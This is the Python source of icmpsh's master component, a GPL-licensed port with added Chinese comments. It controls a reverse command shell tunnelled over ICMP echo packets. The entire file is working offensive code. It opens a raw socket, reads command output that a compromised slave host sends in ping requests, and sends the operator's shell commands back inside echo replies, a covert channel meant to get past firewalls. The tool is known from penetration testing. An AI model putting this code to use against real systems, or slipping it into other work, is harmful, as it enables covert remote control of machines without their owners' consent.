#!/usr/bin/env python
#
#  icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
#  Perl by Nico Leidecker <nico@leidecker.info>)
#
#  Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#  This program is free software: you can redistribute it and/or modify
#  it under the terms of the GNU General Public License as published by
#  the Free Software Foundation, either version 3 of the License, or
#  (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program.  If not, see <http://www.gnu.org/licenses/>.

import os
import select
import socket
import sys

def setNonBlocking(fd):
    """
    Make a file descriptor non-blocking
    """
    import fcntl  # 导入用于文件控制选项的库

    flags = fcntl.fcntl(fd, fcntl.F_GETFL)  # 获取当前文件描述符的状态标志
    flags = flags | os.O_NONBLOCK  # 将非阻塞标志添加到当前标志
    fcntl.fcntl(fd, fcntl.F_SETFL, flags)  # 设置文件描述符为非阻塞模式

def main(src, dst):
    """主程序函数，用于设置 ICMP socket 和处理命令。"""
    if sys.platform == "nt":
        sys.stderr.write('icmpsh master can only run on Posix systems\n')  # 检查是否在 Windows 上运行
        sys.exit(255)

    try:
        from impacket import ImpactDecoder  # 导入 Impacket 库用于解析数据包
        from impacket import ImpactPacket  # 导入 Impacket 用于构建数据包
    except ImportError:
        sys.stderr.write('You need to install Python Impacket library first\n')  # 检查是否安装 Impacket
        sys.exit(255)

    # 将标准输入设置为非阻塞
    stdin_fd = sys.stdin.fileno()  # 获取标准输入的文件描述符
    setNonBlocking(stdin_fd)

    # 为 ICMP 协议打开一个 socket
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)  # 创建原始 ICMP socket
    except socket.error:
        sys.stderr.write('You need to run icmpsh master with administrator privileges\n')  # 检查运行权限
        sys.exit(1)

    sock.setblocking(0)  # 设置 socket 为非阻塞模式
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)  # 启用 IP 头包含在发送包中

    # 创建一个新的 IP 包，设置源和目的地址
    ip = ImpactPacket.IP()
    ip.set_ip_src(src)  # 设置源 IP
    ip.set_ip_dst(dst)  # 设置目标 IP

    # 创建一个新的 ICMP 包，类型为回显应答（ECHO REPLY）
    icmp = ImpactPacket.ICMP()
    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)

    # 实例化 IP 数据包解码器
    decoder = ImpactDecoder.IPDecoder()

    # 在无限循环中发送和接收命令
    while True:
        try:
            cmd = ''

            # 等待输入的回复
            if sock in select.select([sock], [], [])[0]:  # 监控 socket 是否可读
                buff = sock.recv(4096)  # 接收最大 4096 字节的数据

                if 0 == len(buff):
                    # 如果接收到的数据长度为 0，说明对方关闭了 socket
                    sock.close()
                    sys.exit(0)

                # 解析接收到的数据包
                ippacket = decoder.decode(buff)  # 解码 IP 包
                icmppacket = ippacket.child()  # 获取 ICMP 包

                # 检查 ICMP 数据包的源和目的地址以及类型
                if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
                    # 获取标识符和序列号
                    ident = icmppacket.get_icmp_id()
                    seq_id = icmppacket.get_icmp_seq()
                    data = icmppacket.get_data_as_string()  # 获取数据

                    if len(data) > 0:
                        sys.stdout.write(data)  # 输出接收到的数据

                    # 从标准输入读取命令
                    try:
                        cmd = sys.stdin.readline()  # 读取用户输入的命令
                    except:
                        pass

                    if cmd == 'exit\n':  # 如果输入为 'exit'，退出循环
                        return

                    # 设置序列号和标识符，以便回复
                    icmp.set_icmp_id(ident)
                    icmp.set_icmp_seq(seq_id)

                    # 将命令作为数据包含在 ICMP 包中
                    icmp.contains(ImpactPacket.Data(cmd))

                    # 计算 ICMP 包的校验和
                    icmp.set_icmp_cksum(0)
                    icmp.auto_checksum = 1  # 自动计算校验和

                    # 将 ICMP 包插入到 IP 包中
                    ip.contains(icmp)

                    try:
                        # 发送数据包到目标主机
                        sock.sendto(ip.get_packet(), (dst, 0))
                    except socket.error as ex:
                        sys.stderr.write("'%s'\n" % ex)  # 输出错误信息
                        sys.stderr.flush()
        except:
            break

if __name__ == '__main__':
    # 检查参数，确保提供了源 IP 和目标 IP
    if len(sys.argv) < 3:
        msg = 'missing mandatory options. Execute as root:\n'
        msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
        sys.stderr.write(msg)
        sys.exit(1)

    main(sys.argv[1], sys.argv[2])  # 调用主函数，传入源和目标 IP